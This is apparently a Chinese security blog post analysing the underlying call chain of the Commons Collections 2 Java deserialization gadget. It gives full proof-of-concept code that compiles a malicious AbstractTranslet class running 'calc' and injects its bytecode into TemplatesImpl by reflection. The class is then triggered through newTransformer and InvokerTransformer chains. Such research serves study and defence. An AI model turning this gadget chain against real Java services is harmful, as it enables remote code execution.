Java代码审计——Commons Collections2 TemplatesImpl底层调用链

0x00 前言

反序列化总纲

分析完了CC1和TransformedMap链,接着来看CC2这个链,看了一些文章,但是仅仅是看的话,无法真切的理解其中的含义,所以需要进行自己分析,并且记录其中关键点。这一篇主要是把底层调用遇到的问题讲清楚。

0x01 底层调用链

底层调用链分为两层,一层是Java类字节化,一层是通过TemplatesImpl进行调用。

1.Java类字节化

这里Java字节化选择的是Javassist。
简单的说一下Javassist,Javassist主要是用来做动态生成Java类的库,可以从输入的内容动态的创建库在某些场景中是非常好用的功能。
那么为什么要生成Java类的字节码呢,当然是因为TemplatesImpl中需要一个参数是字节码才可以进行调用。

poc

ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.getCtClass("com.Controller.TestTemplatesImpl"); 
byte[] bytes = ctClass.toBytecode();

TestTemplatesImpl

package com.Controller;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class TestTemplatesImpl extends AbstractTranslet {

    public TestTemplatesImpl() {
        super();
        try {
            Runtime.getRuntime().exec("calc");
        }catch (Exception e){
            e.printStackTrace();
        }
    }

    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

2.TemplatesImpl

这里选择使用TemplatesImpl进行触发,那么肯定是有原因的。
在TemplatesImpl中找到defineTransletClasses方法中,有一个defineClass的地方, 将_bytecodes进行反序列化。defineClass是专门用来加载字节码的。

在这里插入图片描述

2.1 defineTransletClasses调用(失败调用)

首先来验证一下,原本的意思是通过暴力反射的方式去调用的,但是调用之后发现没有办法调起。但是还是将整个过程记录下来。
首先来看defineTransletClasses需要的条件。
首先肯定是要先拿到TemplatesImpl。利用反射获取

Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Constructor<?> constructor = aClass.getDeclaredConstructor(new Class[]{});
Object TemplatesImpl_instance = constructor.newInstance();

然后再来看defineTransletClasses肯定是需要_bytecodes的值。

Field bytecodes = aClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(TemplatesImpl_instance , new byte[][]{bytes});

最后调用defineTransletClasses

Method method2 = TemplatesImpl_instance.getClass().getDeclaredMethod("defineTransletClasses");method2.setAccessible(true);method2.invoke(TemplatesImpl_instance);

然后报错了—

Exception in thread "main" java.lang.reflect.InvocationTargetException
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.lang.reflect.Method.invoke(Method.java:498)
	at com.Controller.CommonCollections1.main(CommonCollections1.java:150)
Caused by: java.lang.NullPointerException

这个错误解决了很久,最后只能通过调试对比的方式来看看问题出现在哪。
最后经过调试,发现在这个位置会报错退出

在这里插入图片描述
对比一下,可以发现,少了一个值

在这里插入图片描述

那么就还是暴力加进去。

Field tfactory = aClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(TemplatesImpl_instance , new TransformerFactoryImpl());

这里成功运行了,但是没有执行= =

在这里插入图片描述
调试之后发现问题了,原来是因为defineTransletClasses只负责做Class.forName的工作,不进行其他工作,所以直接调用不行= =

2.2 getTransletInstance 成功调用

接着可以去找一下defineTransletClasses的调用,找到了getTransletInstance方法,在defineTransletClasses中,类是存储在_class中的,然后接着调用newInstance,就是触发了构造方法。那么我们现在来构造调用getTransletInstance。
还是来看条件,在getTransletInstance中多了一个如果_name为空则退出的条件,那我们还是暴力添加。

Field name = aClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(TemplatesImpl_instance , "cs");

最终poc如下:

ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.getCtClass("com.Controller.TestTemplatesImpl");
byte[] bytes = ctClass.toBytecode();

Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Constructor<?> constructor = aClass.getDeclaredConstructor(new Class[]{});
Object TemplatesImpl_instance = constructor.newInstance();

Field bytecodes = aClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(TemplatesImpl_instance , new byte[][]{bytes});

Field tfactory = aClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(TemplatesImpl_instance , new TransformerFactoryImpl());

Field name = aClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(TemplatesImpl_instance , "cs");

Method method2 = TemplatesImpl_instance.getClass().getDeclaredMethod("getTransletInstance");
method2.setAccessible(true);
method2.invoke(TemplatesImpl_instance);

测试结果:

在这里插入图片描述

2.3 newTransformer

在getTransletInstance中,我们是通过暴力反射的方式去调用的,但是在实际情况中,无法进行直接调用,我们需要一个public的可调用的方法,最终在newTransformer中找到了调用getTransletInstance的位置。
在这里插入图片描述

所以我们这里可以将调用改为newTransformer。
poc

ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.getCtClass("com.Controller.TestTemplatesImpl");
byte[] bytes = ctClass.toBytecode();

Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Constructor<?> constructor = aClass.getDeclaredConstructor(new Class[]{});
Object TemplatesImpl_instance = constructor.newInstance();

Field bytecodes = aClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(TemplatesImpl_instance , new byte[][]{bytes});

Field tfactory = aClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(TemplatesImpl_instance , new TransformerFactoryImpl());

Field name = aClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(TemplatesImpl_instance , "cs");

Method method2 = TemplatesImpl_instance.getClass().getDeclaredMethod("newTransformer");
method2.setAccessible(true);
method2.invoke(TemplatesImpl_instance);

运行效果:
在这里插入图片描述

3.迭代链

那么既然已经构造了类,那么我们依旧可以使用迭代链的方式进行利用,作用是可以绕过一些调用防护。
迭代链构造

public  static void demo10() throws NotFoundException, IOException, CannotCompileException, ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException {
    ClassPool classPool = ClassPool.getDefault();
    CtClass ctClass = classPool.getCtClass("com.Controller.TestTemplatesImpl");
    byte[] bytes = ctClass.toBytecode();

    Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
    Constructor<?> constructor = aClass.getDeclaredConstructor(new Class[]{});
    Object TemplatesImpl_instance = constructor.newInstance();

    Field bytecodes = aClass.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    bytecodes.set(TemplatesImpl_instance , new byte[][]{bytes});

    Field tfactory = aClass.getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(TemplatesImpl_instance , new TransformerFactoryImpl());

    Field name = aClass.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(TemplatesImpl_instance , "cs");

    Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(TemplatesImpl_instance),
            new InvokerTransformer("newTransformer",null,null)
    };

    Transformer transformerChain = new ChainedTransformer(transformers);
    transformerChain.transform(Object.class);
}

4.顺序调用

还有一种就是不走迭代链,直接使用InvokerTransformer 进行调用也是可以的。
poc:

ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.getCtClass("com.Controller.TestTemplatesImpl");
byte[] bytes = ctClass.toBytecode();

//反射创建TemplatesImpl
Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Constructor<?> constructor = aClass.getDeclaredConstructor(new Class[]{});
Object TemplatesImpl_instance = constructor.newInstance();

//将恶意类的字节码设置给_bytecodes属性
Field bytecodes = aClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(TemplatesImpl_instance , new byte[][]{bytes});
//设置属性_name为恶意类名
Field name = aClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(TemplatesImpl_instance , "TestTemplatesImpl");

Field tfactory = aClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(TemplatesImpl_instance , new TransformerFactoryImpl());
TemplatesImpl_instance.getClass();
InvokerTransformer transformer=new InvokerTransformer("newTransformer",null,null);
transformer.transform(TemplatesImpl_instance);

0x03 使用条件

  • 除最新版本无限制

0x04 要点笔记

  • javassist 生成字节码
  • Templateslmpl中需要有三个参数才可以调用,java字节码,name,tfactory
  • 调用点newTransformer-getTransletInstance-defineTransletClasses
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

王嘟嘟_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值